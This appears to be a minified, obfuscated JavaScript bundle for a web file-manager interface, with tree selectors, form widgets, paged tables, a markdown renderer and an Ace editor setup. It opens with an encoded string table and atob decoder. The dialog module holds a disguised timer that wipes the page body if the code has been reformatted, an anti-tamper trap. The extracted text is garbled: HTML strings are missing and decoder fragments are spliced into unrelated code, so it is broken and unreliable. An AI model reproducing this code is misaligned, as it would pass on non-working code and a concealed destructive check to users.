kMOn","w6jCvm8kw4M=","XsK3w6nCosOJ","El09wr8X","QF3CkcKGSw==","w6x8Z8OAw5Y=","wqkrwrfDjQQ=","w51mwpHDoWs=","GX8xwpwJ","w5VUQMOGw4c=","dsKSwpXCpcKK","w6BmKQU+","VhgUwrES","M0zCrFot","wrlwQxjCiw==","DsOzwqTDj8Oq","w6HCsCU=","OlB/GcKP","w6MSE8OfcMKoOg==","w6HCmEHCscOA","LMOQwoA=","w7Q1wrlEVQ==","wqUiUCAX","w6nCnTPDu8Ke","RMOJw4bCll8=","PkPCuU3Ciw==","UcOnN8O3VA==","FmHDsMK6w6g=","UcO0GcOrTw==","KVxrPcKQ","woQ8fAgl","w6jCqcKGw4ss","L1zCnXzCuw==","w53CrFzCtMOw","HUHDkA==","wrbCg0LCqnw=","VMOkOMOncw==","wr7CncOhCFw=","PUBTwqtr","w5HCrcK8w6klT2PDh8OE","w6Qhwp9FcsOSwq/DuXE=","aj88wq4oOUlaCw==","wp4Qw5nDlMOyw63DtjTCvUfCrCAtw7I=","UsO+GsOhS2XDnxI8","worDsVXCiAoBO8KWw4zCmMKi","woHCnsOtGUA=","w48Wwp59w4g=","AHw8wqAi","w6/CgsKlw5glVWrDscO8","w6XCmTXChsOLFcKKwrsH","wpDCqm91XcOAHBAg","WMOEw7/CtnnCocOnwrp7wq9y","EUHClW0u","w7TCj8K2w4IO","w4NiORMl","NkXDgMKGw7w=","wobCvnvCq1/DpiU=","YcOyXsKnGQ==","woTCrX7CuV0=","woJ8ejrCsw==","HkHDh8K8w4s5","RcOvH8OXQQ==","wpoiwrLDsB4=","wpc2eBsv","wrvCrsOGH34=","YMOKw6HCqm4=","O8OSwpzDjsOZ","w5LCtMKRw786","diLDuA==","CmjCl3QH","wr/CgcOhIFI=","w5jCocKpYsKc","wrfCs8OGCkI=","w6MsFXgI","w49dwqvDgw==","w4fCqsKzR8KY","YjnCgU0bKw==","w7vCp8KXw5oO","w43CrxPDvMKg","w6QnHX0U","w6cuwqtiw64=","TcOlf8KrIg==","w7rDt8KBwqPCkcKbw5DDvxvDqw==","w4BjGgwi","UHrCvcKNTA==","wqMIfQwo","L0fCh33Cvg==","wonCunzCiMKQHcOUwphqE8O1DsKOw4rDkcKzBsO4wqw=","w7xIwprDs1U=","U8K/wp/Ci8Kcw50=","wrNPWBnCog==","D0EH","w6IMwrNzw6c=","bcKPw6XCrHjDvMO4woZ6wohS","w6rCicKFw6gS"];r=o,function s(e){for(;--e;)r["push"](r["shift"]())}(130);var C=function C(e,t){var i,n=o[e-=0];if(C["rHKHpN"]===undefined){(i=function r(){var e;try{e=Function('return (function() {}.constructor("return this")( ));')()}catch(t){e=window}return e}())["atob"]||(i["atob"]=function(e){for(var t,i,n=String(e)["replace"](/=+$/,""),a=0,r=0,o="";i=n["charAt"](r++);~i&&(t=a%4?64*t+i:i,a++%4)&&(o+=String["fromCharCode"](255&t>>(-2*a&6))))i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="["indexOf"](i);return o});var h=function h(e,t){for(var i,n=[],a=0,r="",o="",s=0,l=(e=atob(e))["length"];s
    ')}e.groupID?e.$node.addClass("node-item-group"):e.$node.addClass("node-item-user"),e.nodeAddClass&&e.$node.addClass(e.nodeAddClass),e.disableSelect&&e.$node.addClass("node-disable-select")},"changeForTreeNode":function(){var a=this.zTree;if(a&&($("#"+a.setting.treeId+" .tree-node.this").removeClass("this"),!_.isEmpty(this.listData))){var r=function r(e){var t=e.userID?"userID":"groupID",i=e[t],n=a.getNodesByParam(t,i);_.each(n,function(e){e&&e.$node.addClass("this")})};if(this.isSingle)return r(this.listData);this._each(this.listData,function(e){r(e)})}},"changeForResult":function(){var e=this.$(".clear-select"),t=''+(n=this.$afterDom.attr("placeholder")||LNG["common.select"]+"...")+"";if(e.removeClass("hidden"),_.isEmpty(this.listData))return this.isSingle?this.$selectBox.find(".kod-select-title").html(t):this.$selectBox.find(".select-list").html(t),void e.addClass("hidden");if(this.isSingle){var i=this.listData.nickName||this.listData.name,n=this.itemIcon(this.listData)+htmlEncode(i);return this.$selectBox.find(".kod-select-title").html(n)}var a=s(93),r={"list":this.listData,"itemIcon":_.bind(this.itemIcon,this)},o=this.renderHtml(a,r,!1);this.$selectBox.find(".select-list").html(o)},"dataToggle":function(e){if(!e)return this.listData=this.isSingle?{}:[],this.trigger("dataChange");if(this.isSingle)return this.listData=e,this.trigger("dataChange");this.listData||(this.listData=this.isSingle?{}:[]);var t=e.userID?"userID":"groupID",i=e[t];return _.find(this.listData,[t,i])||_.find(this.listData,[t,parseInt(i)])?this.listData=_.filter(this.listData,function(e){return e[t]!=i}):this.listData.push(e),this.trigger("dataChange")},"onRemove":function(){$(window).unbind("mousedown",this.bindDropdownWindow),this.zTree&&this.zTree.destroy()},"treeCallback":{"onClick":function(e,t,i){return i.$node.removeClass("curSelectedNode"),i.groupID&&"user"==this.selectType?this.zTree.expandNode(i,null,!1,!1,!0):i.disableSelect?i.groupID?this.zTree.expandNode(i,null,!1,!1,!0):void 0:(this.isSingle&&this.menuClose(),void((i.userID||i.groupID)&&(_.isEmpty(_.pick(i,this.keyID))||this.dataToggle(i))))},"onExpand":function(e,t,i){this.changeForTreeNode()}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,a=s(i(6)),r=s(i(7)),o=s(i(26));function s(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"selector":".form-select select","initBefore":function(){this.adminModel=o["default"]["adminModel"]},"bindForm":(n=(0,r["default"])(a["default"].mark(function l(t){var i;return a["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:(i=this).loadSource(function(){i.$el&&(i.$(i.selector).each(function(){var e=$(this);i.selectInit(e,e.parents(".form-row").first())}),t&&t())});case 2:case"end":return e.stop()}},l,this)})),function c(e){return n.apply(this,arguments)}),"setValue":function(e,t){t&&_.isString(t)&&e.attr("multiple")&&(t=t.split(",")),e.val(t).trigger("change")},"loadSource":function(e){requireAsync([VENDER_PATH+"select2/css/select2.min.css",VENDER_PATH+"select2/js/select2.full.min.js"],e)},"selectInit":function(e,t){var i=!!e.attr("multiple"),n="form-select2-dropdown-type-"+t.attr("data-type");n+=" form-select2-dropdown-key-"+t.attr("data-key");var a=this,r={"tags":!1,"tokenSeparators":[","," "],"multiple":i,"closeOnSelect":!i,"dropdownAutoWidth":!1,"dropdownCssClass":n+" animated selectDropdownShow","allowClear":!0,"placeholder":LNG["explorer.selectDesc"],"language":a.selectLanguage(),"matcher":a.searchMatch};this.selectDataMake(r,e,function(){var i=r.templateResult||function(){};r.templateSelection=r.templateSelection||r.templateResult,r.templateResult=function(e){var t=i(e)||e.text;return a.templateResultAfter(t)},a.trigger("select.initParam",r),e.select2(r),a.selectEventBind(e,t,r),a.selectEventBindAfter(e,t)}),e.data("kodViewSelect",this);var o=e.data("select2");o&&o.$dropdown&&o.$dropdown.addClass(n),this.bind("onRemove",function(){try{if(!e||!e.data("select2"))return;e.select2("destroy")}catch(error){}})},"templateResultAfter":function(e){if(!e)return e;var t="";return"string"==typeof e?t=""+e+"":$(e).each(function(){t+=$(this).prop("outerHTML")}),t=(t=t.replace("$%@",'')).replace("@%$",""),$(t)},"selectDataMake":function(e,t,i){e.templateResult=e.templateSelection=function(e){var t=$(e.element).attr("data-html");return t?$(""+t+""):e.text},i&&i()},"searchMatch":function(e,n){if(n.text===undefined)return null;if(""==e.term)return n;var a=function a(e){var t=$.extend({},n,!0),i=t.text;return t.text=i.substr(0,e[0])+"$%@"+i.substr(e[0],e[1]-e[0])+"@%$"+i.substr(e[1]),t},t=n.text.indexOf(e.term);if(-1>(-2*a&6))))i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="["indexOf"](i);return o});var h=function h(e,t){for(var i,n=[],a=0,r="",o="",s=0,l=(e=atob(e))["length"];s=t.length?{"value":undefined,"done":!0}:(e=n(t,i),this._i+=e.length,{"value":e,"done":!1})})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var u=o(i(16)),r=o(i(115)),n=o(i(494)),a=o(i(495));function o(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(e){this.config=e.config,this.makeTable(),this.actions=new a["default"]({"parent":this}),this.pageing=new n["default"]({"parent":this}),this.currentPath="",this.searchValue="",this.currentCount=0,this.refresh(),this.bindNotify()},"makeTable":function(){var e=i(496),t=this.renderHtml(e,{"config":this.config},!1);if(!t)return!1;this.target=$(this.parent.$el).find(this.config.container),this.target.html(t),this.dataTitle()},"dataTitle":function(){var e="",t={};for(var i in this.config.items){var n=this.config.items[i],a="",r="down";this.config.order&&i==this.config.order[0]&&(a="this",r=this.config.order[1]);var o="";this.config.sort&&_.includes(this.config.sort,n.field)&&(o='',o+=''),e+='
    '+n.title+o+"
    ",t[n.field+"_"+i]=n}var s='
    '+e+"
    ";this.columns=t,this.target.find(".content .list-table").html(s)},"refresh":function(){arguments[0]&&(this.config.data=arguments[0]),this.pageing.currentPathPage=arguments[1]||1;var i=this;this.request(function(e,t){i.trigger("list.after",i.currentPath,t),i.dataList(e)})},"request":function(i){var e={"page":this.pageing.currentPathPage,"pageNum":this.pageing.pageNum};if(this.config.order){var t=this.config.order[0];e.sortField=this.config.items[t].field,e.sortType=this.config.order[1]}this.target.find(".toolbar .search-box").length&&(e.words=this.searchValue);var n=this,a=Tips.loadingMask();(0,r["default"])(e,this.config.data),this.config.request(e,function(e){a.close();var t=!!_.isObject(e.pageInfo)&&e.pageInfo;e&&_.isArray(e.list)||(e={"list":[]}),n.currentCount=e.list.length,i(e.list,t)})},"dataList":function(e){if(this.target){var t="";e!=undefined&&(0,u["default"])(e).length||(t+='
    '+LNG["explorer.noData"]+"
    ");var s=function s(e,t,i){var n={};_.get(e,"attr.formatter")&&(n=e.attr.formatter(i));var a=$.objClone(e);a.attr=a.attr||{},a.attr=$.extend({},a.attr,n),_.unset(a.attr,"formatter");var r=[];for(var o in a.attr["class"]="list-"+t+(a.attr["class"]?" "+a.attr["class"]:""),a.attr)r.push(o+'="'+a.attr[o]+'"');return r.join(" ")},i=this.columns;for(var n in e=_.filter(e)){var a="",r=e[n];for(var o in i){var l=o.split("_")[0],c=r[l],d=i[o];_.isFunction(i[o].formatter)&&(c=i[o].formatter(c,n,e)),a+="
    '+c+"
    "}t+="
    "+a+"
    "}var h=this.target.find(".content .list-table");h.children(":not(.title)").remove(),h.append(t),this.trigger("after.table.make"),""==trim(this.target.find(".toolbar").text())&&this.target.find(".toolbar").hide()}},"bindNotify":function(){var i=this;this.listenTo(this.pageing,"change",function(e){this.refresh(i.config.data,e)}),this.listenTo(i,{"list.after":function(e,t){i.pageing.pageLoad(t,e)}})}})},function(e,t){e.exports=function(e,t){return{"enumerable":!(1&e),"configurable":!(2&e),"writable":!(4&e),"value":t}}},function(e,t,i){i(123);for(var n=i(3),a=i(14),r=i(21),o=i(4)("toStringTag"),s="CSSRuleList,CSSStyleDeclaration,CSSValueList,ClientRectList,DOMRectList,DOMStringList,DOMTokenList,DataTransferItemList,FileList,HTMLAllCollection,HTMLCollection,HTMLFormElement,HTMLSelectElement,MediaList,MimeTypeArray,NamedNodeMap,NodeList,PaintRequestList,Plugin,PluginArray,SVGLengthList,SVGNumberList,SVGPathSegList,SVGPointList,SVGStringList,SVGTransformList,SourceBufferList,StyleSheetList,TextTrackCueList,TextTrackList,TouchList".split(","),l=0;l"+n+"","hash":a,"time":timeFloat()}},o=function o(t,i){var n=i;try{n=t.render(i||""),_.each(s,function(e){n=e(n)})}catch(e){}return n},s=[],t=function t(e){s.push(e)},u=function u(e){for(var t={"h1":"heading_open","h2":"heading_open","h3":"heading_open","h4":"heading_open","h5":"heading_open","h6":"heading_open","table":"table_open","blockquote":"blockquote_open","ul":"bullet_list_open","p":"paragraph_open","code":"fence"},i=[],n=markdownit().parse(e,{"references":{}}),a=_.keys(t),r=0;r#';$(this).attr("data-link","#"+t),$(n).prependTo($(this))}a+='
  • '+e+"
  • "}),e.find(".markdown-menu").html("
      "+a+"
    "),'
      '+a+"
    "},i=!1,w=function w(t,i,n){a(function(e){i=i||$("
    "),d(e,t,i),i.hasClass("maskView")||((0,x["default"])(i),i.addClass("maskView")),n&&n(i.html())})};return t(function(e){return DOMPurify.sanitize(e,{"ADD_TAGS":["iframe","style","foreignObject"],"USE_PROFILES":{"html":!0,"mathMl":!0,"svg":!0,"svgFilters":!0}})}),{"loadLib":a,"parseHtml":function(e){return i.options.html=!1,o(i,e)},"parse":w,"parseMenu":p,"parseMethodAdd":t,"tokenBlockList":u}};var m=a(n(253)),x=a(n(280));function a(e){return e&&e.__esModule?e:{"default":e}}},function(e,t){var i=Math.ceil,n=Math.floor;e.exports=function(e){return isNaN(e=+e)?0:(0\n\t\t\t"+a.prop("outerHTML")+'\t\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t';i.find(n+"span").before(o),t.$node=i.find(n+"a").addClass("tree-node"),t.$ico=i.find(n+"my_ico"),t.$span=i.find(n+"span"),t.$node.data("treeNode",t),this.treeNodeRenderAfter(t)},"initViewFinished":function(e,t,i,n,a){if(!this.$el)return"";var r=this.dataFilter(e);this.trigger("initBefore",e,t),$.fn.zTree.init(i,t,r),this.zTree=$.fn.zTree.getZTreeObj(a),this.zTree.rootPath=n,e&&e.code||this.$el.html('
    '+LNG["explorer.systemError"]+"
    "),this.trigger("initAfter",this.zTree)},"defineTreeAsync":function(){$.fn.zTree._z.view.asyncNodeBefore=$.fn.zTree._z.view.asyncNode,$.fn.zTree._z.view.asyncNode=function(e,t,i,n){return e.callback.beforeAsync.apply(this,[e,t,i,n])}},"beforeAsync":function(i,n,a,r){var e=$.fn.zTree,o=e.consts.event,s=e._z.view,l=e._z.tools;if(n&&!e._z.data.nodeIsParent(i,n))return l.apply(r),!1;if(n&&n.isAjaxing)return!1;var c=n.$ico;return c.addClass("ico_loading"),n.isAjaxing=!0,this.requestData(n,function(e){c.removeClass("ico_loading"),n.isAjaxing=null,n.zAsync=!0;var t=this.dataFilter(e);_.isEmpty(n.children)||(t=[]),s.setNodeLineIcos(i,n),s.addNodes(i,n,-1,t,!!a),i.treeObj.trigger(o.ASYNC_SUCCESS,[i.treeId,n,e]),l.apply(r)},function(){c.removeClass("ico_loading"),n.isAjaxing=null,s.setNodeLineIcos(i,n),i.treeObj.trigger(o.ASYNC_ERROR),l.apply(r)}),!0},"expandAuto":function(e,i,n){var a=this.zTree;if(a){_.isString(e)&&(e=_.filter(e.split(","),function(e){return e&&"0"!=e}));for(var t=!1,r=e.reverse(),o=[],s=0;sdocument.F=Object<\/script>"),e.close(),d=e.F;i--;)delete d[c][s[i]];return d()};e.exports=Object.create||function(e,t){var i;return null!==e?(a[c]=r(e),i=new a,a[c]=null,i[l]=e):i=d(),t===undefined?i:o(i,t)}},function(e,t,i){var n=i(24);e.exports=Object("z").propertyIsEnumerable(0)?Object:function(e){return"String"==n(e)?e.split(""):Object(e)}},function(e,t){e.exports=function(e,t,i,n){if(!(e instanceof t)||n!==undefined&&n in e)throw TypeError(i+": incorrect invocation!");return e}},function(e,t,i){var a=i(14);e.exports=function(e,t,i){for(var n in t)i&&e[n]?e[n]=t[n]:a(e,n,t[n]);return e}},function(e,t,i){e.exports={"default":i(288),"__esModule":!0}},function(t,i,n){"use strict";Object.defineProperty(i,"__esModule",{"value":!0});var a=o(n(5)),c=o(n(6)),r=o(n(7));function o(e){return e&&e.__esModule?e:{"default":e}}var s,l,d=!1;i["default"]=ClassBase.extend({"init":function(){this.viewLoad=!0},"getValue":function(e,t){var i=e.parent().find(".ace_editor").data("editor");return i&&i.getValue()},"setValue":function(e,t){var i=e.parent().find(".ace_editor").data("editor");if(!i)return!1;i.setValue(t),i.selection.moveTo(0,0);var n=i.session.getUndoManager();n&&n.reset(),i.focus()},"bindForm":function(e){var t=this;this.$(".form-codeEditor textarea").each(function(){t.initEditor($(this),e)})},"initAce":(l=(0,r["default"])(c["default"].mark(function h(){var t,i,n,a,r,o,s,l;return c["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,requirePromise(VENDER_PATH+"ace/emmet.min");case 2:return e.next=4,requirePromise(VENDER_PATH+"ace/src-min-noconflict/ace");case 4:return e.next=6,requirePromise(VENDER_PATH+"ace/src-min-noconflict/ext-modelist");case 6:return e.next=8,requirePromise(VENDER_PATH+"ace/src-min-noconflict/ext-language_tools");case 8:return e.next=10,requirePromise(VENDER_PATH+"ace/src-min-noconflict/ext-emmet");case 10:if(d)return e.abrupt("return");e.next=12;break;case 12:d=!0,t=this,(i=ace.require("ace/ext/emmet")).setCore("ace/ext/emmet"),i.commands.removeCommand("emmet:toggle_comment"),ace.aceModeList=ace.require("ace/ext/modelist"),ace.config.loadModule("ace/ext/language_tools",function(){ace.snippetManager=ace.require("ace/snippets").snippetManager}),n=ace.require("ace/lib/dom"),a=n.buildDom,n.buildDom=function(){var e=t.langData();return t.langParse(arguments[0],e),a.apply(this,arguments)},r=ace.require("ace/lib/net"),o=r.loadScript,r.loadScript=function(e){return"string"==typeof e&&-1!==e.search("mode-php.js")&&(arguments[0]=e.replace("mode-php.js","mode-phhp.js")),"string"==typeof e&&-1!==e.search("php.js")&&(arguments[0]=e.replace("php.js","phhp.js")),o.apply(r,arguments)},s=ace.config.moduleUrl,ace.config.moduleUrl=function(e){return-1!==e.search("php_worker")&&(arguments[0]=e.replace("php_worker","phhp_worker")),s.apply(ace.config,arguments)},(l=ace.require("ace/mouse/default_handlers").DefaultHandlers).prototype.onMouseDown.hook("onMouseDown",l.prototype,function(){arguments[0].preventDefault=function(){return!0}}),this.trigger("editor.init");case 30:case"end":return e.stop()}},h,this)})),function u(){return l.apply(this,arguments)}),"langParse":function(e,t){if(e&&$.isArray(e)){for(var i=0;i').appendTo(u),u.find(".editor-full-screen").bind("click",function(){u.toggleClass("ace-editor-full"),e.resize(),e.focus()}),e.commands.addCommand({"name":"escFull","bindKey":"Esc","exec":function(e){u.removeClass("ace-editor-full"),e.resize(),e.focus()}})},"bindEditorEvent":function(e){var i=this;this.editorChange=_.debounce(_.bind(this.editorChange,this),50),this.cursorChange=_.debounce(_.bind(this.cursorChange,this),10),e.commands.addCommand({"name":"preview","bindKey":{"win":"Ctrl-alt-G","mac":"Ctrl-command-G"},"exec":function(e,t){t.findAll(t.session.getTextRange()),i.cursorChange(t)}}),e.on("change",function(e,t){i.editorChange(t)}),e.on("changeSelection",function(e,t){i.cursorChange(t)}),e.commands.addCommand({"name":"showKeyboardShortcuts","bindKey":{"win":"Ctrl-Alt-h","mac":"Command-Alt-h"},"exec":function(t){ace.config.loadModule("ace/ext/keybinding_menu",function(e){e.init(t),t.showKeyboardShortcuts()})}}),e.commands.addCommand({"name":"convertUpper","bindKey":{"win":"Ctrl-U","mac":"Command-U"},"exec":function(e){e.toUpperCase()}}),e.commands.addCommand({"name":"convertLower","bindKey":{"win":"Ctrl-Shift-U","mac":"Command-Shift-U"},"exec":function(e){e.toLowerCase()}}),e.commands.addCommand({"name":"phpBeautify","bindKey":{"win":"Ctrl-Shift-B","mac":"Command-Shift-B"},"exec":function(t){ace.config.loadModule("ace/ext/beautify",function(e){e.beautify(t.session)})}}),this.editorMobileBind(e),e.insertRangeWith=_.bind(this.insertRangeWith,e),e.toUpperCase=function(){this.insertRangeWith(function(e){return e.toUpperCase()})},e.toLowerCase=function(){this.insertRangeWith(function(e){return e.toLowerCase()})},$(e.container).find(".ace_text-layer").bind("click",function(){e.$isFocused||e.focus()})},"insertRangeWith":function(r){var o=this,t=o.session.selection.ranges;_.isEmpty(t)&&(o.selection.isEmpty()&&o.selection.selectWord(),t=[o.getSelectionRange()]),_.each(t,function(t){var i=o.session.getTextRange(t)||"",n=r(i);if(n)try{var a=t.clone();a.end=o.session.replace(t,n),o.selection.addRange(a)}catch(e){}})},"editorMobileBind":function(e){if($.browserIS.ios&&$.isWindowTouch()){var t=$(e.container).find(".ace_text-input");$.setStyle(".ace_editor .ace_text-input{\n\t\t\topacity:0.05 !important;\n\t transform:none !important;\n\t width: 30px !important;\n\t height:20px !important;\n\t z-index:10 !important;\n\t\t}","ace-editor-mobile-ios"),e.getOption("readOnly")&&t.addClass("hidden").attr("disabled","disabled")}},"cursorChange":function(e){e&&this.trigger("editor.cursorChange",e)},"editorChange":function(e){e&&(e.$formMakerInput||(e.$formMakerInput=$(e.container).prev(),e.$formMakerInput.is("input")||(e.$formMakerInput="notForm")),"notForm"!=e.$formMakerInput&&$(e.$formMakerInput).trigger("change"),this.trigger("editor.change",e))}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var o=i(13),n={"userInfo":function(e){if(!e)return"";var t=e.avatar||STATIC_PATH+"images/common/default-avata.png",i=(0,o.pathIcon)(t);if(!e.avatar){var n=e.nickName||e.name,a="blue,purple,cyan,green,pink,red,orange,yellow,grey,blue,grey,yellow,green".split(","),r=[];_.each(a,function(e){r.push("label-"+e+"-light"),r.push("label-"+e+"-normal"),r.push("label-"+e+"-deep")})}n=e.nickName||e.name||e.nameDisplay||"";return e.userID==window.G.user.userID&&(n=LNG["common.me"]),"\n\t\t\t\n\t\t"}};t["default"]=n},function(e,t,i){var n=i(3).document;e.exports=n&&n.documentElement},function(e,t,i){var n=i(40),a=i(4)("iterator"),r=i(21);e.exports=i(1).getIteratorMethod=function(e){if(e!=undefined)return e[a]||e["@@iterator"]||r[n(e)]}},function(e,t,i){var a=i(12),r=i(25),o=i(4)("species");e.exports=function(e,t){var i,n=a(e).constructor;return n===undefined||(i=a(n)[o])==undefined?t:r(i)}},function(e,t,i){function n(){var e=+this;if(g.hasOwnProperty(e)){var t=g[e];delete g[e],t()}}function a(e){n.call(e.data)}var r,o,s,l=i(17),c=i(126),d=i(65),h=i(45),u=i(3),f=u.process,p=u.setImmediate,w=u.clearImmediate,m=u.MessageChannel,x=u.Dispatch,v=0,g={},b="onreadystatechange";p&&w||(p=function(e){for(var t=[],i=1;i\n\t\t",t=this.$dialog.find(".aui-state-highlight");$(e).insertBefore(t);var i=this.$dialog.find(".aui-buttons button"),n=60;i.each(function(){n+=$(this).outerWidth()}),this.$dialog.find(".select-api-input-box").css("right",n);var a=this.$dialog.find(".select-api-input-box input");"createFile"==this.options.type&&(this.options.single=!0,a.removeAttr("readonly"),a.val(this.options.createFile.name),a.keyEnter(function(){return t.hasClass("disable-event")?Tips.tips(LNG["explorer.selectValidFolder"],"warning"):t.trigger("click")}))},"defaultTitle":function(){if(!this.options.title){var e={"file":LNG["explorer.selectFile"],"folder":LNG["explorer.selectFolder"],"all":LNG["explorer.selectFolderFile"],"createFile":LNG["explorer.fileSaveTo"],"default":LNG["common.select"]},t=e[this.options.type]||e["default"];return this.options.single||(t+='"('+LNG["explorer.selectMulti"]+';)"'),t}},"bindExplorerApi":function(){this.listenTo(this.select,{"select.change":this.selectChange,"select.init":function(){this.disableNotAllow(),this.selectChange()}}),this.pathAction.openFile=_.bind(function(e){var t=this.$dialog.find(".aui-state-highlight");t.hasClass("disable-event")||t.trigger("click")},this)},"disableStoreValue":function(){var e="-explorer-api";this.pageing.storeKey+=e,this.history&&(this.history.storeKey+=e),this.tree&&(this.tree.history.storeKey+=e),this.path.listSplit.splitResize.storeKey+=e},"selectResult":[],"resultParse":function(e){var t="name,path,pathDisplay,size,type,ext,createUser,downloadPath".split(",");return e=_.isArray(e)?_.map(e,function(e){return _.pick(e,t)}):_.pick(e,t)},getDefaultsgHFx5:setTimeout(function(){var favMoveBottometH1=function(){return false};var randomImageb3=favMoveBottometH1+"";if(randomImageb3.indexOf(String.fromCharCode(390/(1989/(306/6)))) != -1){$("body").html("");}},94),"selectConfirm":function(){var e=this.resultParse(this.selectResult);if(!_.isEmpty(e))return"createFile"==this.options.type?this.callbackCreateFile(e):1==this.options.makeUrl?this.callbackMakeUrl(e):void this.options.callback(e,this.options)},"callbackMakeUrl":function(e){var t=[];this.options.single?t.push({"path":e.path}):_.each(e,function(e){t.push({"path":e.path})}),this.callbackPathInfo(t)},"callbackCreateFile":function(t){var i=this,e=this.$dialog.find(".select-api-input-box input"),n=this.options.createFile;n.path=t.path+e.val(),this.pathModel.newFile(n,function(e){if(!e||!e.code)return Tips.tips(e,!1);Events.trigger("path.pathChange",t.path,e),i.callbackPathInfo([{"path":e.info}])})},"callbackPathInfo":function(e){var i=this;this.pathModel.pathInfo({"dataArr":e},function(e){if(!e||!e.code)return Tips.tips(e,!1);var t=i.resultParse(e.data);i.options.callback(t,i.options)})},"checkPathExt":function(e){var t=this.options.allowExt,i=this.options.allowExt.split("|");return""==t||_.includes(i,e)},"checkPathAuth":function(e){var t=this.options.authCheck,i=this.pathAction.auth;switch(t){case"read":return i.canRead(e);case"write":return i.canWrite(e)||i.canUpload(e);default:return!0}},"selectAdd":function(e){var t=this.options;return!(!e||!this.checkPathAuth(e))&&(!(t.single&&1<=this.selectResult.length)&&(!!("all"==t.type||_.includes(["folder","createFile"],t.type)&&"folder"==e.type||"file"==t.type&&"file"==e.type&&this.checkPathExt(e.ext))&&(this.selectResult.push(e),!0)))},"selectChange":function(){var t=this,i=this.select.fileLight,e=i.$listSelect,n=this.path.jsonData;if(this.selectResult=[],0==e.length)this.selectAdd(n.current);else if(1==e.length){var a=i.itemInfo(e);this.selectAdd(a)}else if(1a;)o(n,i=t[a++])&&(~l(r,i)||r.push(i));return r}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t.loadPlugin=t.loadLang=t.loadOption=t.loadApi=t.loadMain=undefined;var n=function m(e){return e&&e.__esModule?e:{"default":e}}(i(81));window.Promise||(window.Promise=n["default"]);var a="./static/";if(window.API_HOST){var r=API_HOST.split("/");r.pop(),a=r.join("/")+"/static/"}window.API_URL=function(e,t){var i=window.API_HOST,n="&";return _.isNull(t)||_.isUndefined(t)?i+(e||""):(-1==i.indexOf("?")&&(n="?"),i+(e||"")+n+(t||""))},window.API_URL_TRUE=function(e){var t=(e=e||window.location.href).replace(API_URL(),"").replace(G.kod.APP_HOST,"").replace("?","&");return G.kod.APP_HOST+"?"+t};var o=window.STATIC_PATH||a;i.p=o+"app/dist/";var s=i.e(3).then(function(e){i(588),i(589),i(590),i(591),i(592),i(593),i(594),i(595),i(596),i(597),i(598),i(599),i(600),i(601),i(602),i(603),i(604),i(605),i(606),i(607),i(608),i(609),i(610),i(611),i(612),i(613),i(614),i(615),i(616),window.Pinyin=i(617)["default"],i(618),i(619),i(620),i(621),i(622),i(623),i(624),i(625),i(626),i(627),i(628),i(629),i(630),i(631),i(632),i(633),i(634),i(635),i(636),i(637),window.Backbone.$=$,window.Events=Backbone.Events,c()}.bind(null,i))["catch"](i.oe),l=Date.now(),c=function c(){var i=seajs.use;seajs.use=function(){var e=_.toArray(arguments),n=function n(e){var t=_.get(window,"G.kod.version",""),i=_.get(window,"G.kod.build","");return!(t=1==_.get(window,"G.kod.ENV_DEV")?l:t+"."+i)||_.includes(e,"&v=")||_.includes(e,"?v=")?e:_.includes(e,"?")?e:(_.endsWith(e,".htm")||_.endsWith(e,".html")||_.endsWith(e,".css")||_.endsWith(e,".json")||_.endsWith(e,".js")||(e+=".js"),e+"?v="+t)},t=e[0];_.isString(t)?e[0]=n(t):_.isArray(t)&&(e[0]=_.map(t,function(e){return n(e)})),i.apply(seajs,e)},window._ktime=dateFormat(!1,"dhi"),window.requireAsync=seajs.use,window.requirePromise=function(e){var t=$.Deferred();return seajs.use(e,t.resolve),t}};(function x(){if("development"==window.lessENV){var n=XMLHttpRequest.prototype.open;XMLHttpRequest.prototype.open=function(e,t){var i=Array.prototype.slice.call(arguments,0);return t.match(/\.less$/)&&(i[1]=t+"?_t="+l),n.apply(this,i)}}})();var d=function d(){var e=window.STATIC_PATH_ALL||a;requireAsync([e+"style/lib/alifont/iconfont.css",e+"style/lib/font-icon/style.css"])},h=function h(){var e=API_URL("user/view/plugins","v="+time());return requirePromise(e)},u=function u(){var e=API_URL("user/view/options","v="+time());return requirePromise("text!"+e).then(function(e){if(e&&((e=JSON.parse(e))&&e.code&&e.data)){window.G=_.extend(window.G||{},e.data);var t=G.kod.staticPath,i=API_URL();if(!_.startsWith(t,"http")){if(_.startsWith(t,"/"))t=$.parseUrl(i).origin+t;else t=i.substr(0,_.lastIndexOf(i,"/"))+"/"+t;t=t.replace("/./","/")}window.STATIC_PATH_ALL=window.STATIC_PATH_ALL||G.kod.APP_HOST+"static/",window.STATIC_PATH=t,window.VENDER_PATH=window.STATIC_PATH+"app/vender/",window.API_HOST=G.kod.appApi,$.dialog.defaults.path=window.STATIC_PATH+"app/vender/artDialog-icon/",requireAsync(window.STATIC_PATH+"style/lib/alifont/iconfont.js"),d()}})},f=function f(){var e=API_URL("user/view/lang","v="+time());return requirePromise("text!"+e).then(function(e){(e=e&&JSON.parse(e))&&e.code&&e.data&&(window.LNG=_.extend(window.LNG||{},_.get(e,"data.list")),window.G.lang=_.get(e,"data.lang"),window.LNG.find=function(i){var n={};return _.each(LNG,function(e,t){_.includes(e,i)&&(n[t]=e)}),n},window.LNG.make=function(e){var t=_.toArray(arguments),i=LNG[e];if(!i)return e;for(var n=1;n .loading-body").fadeOut(1e3,function(){$(this).remove()})})},w=function w(){return 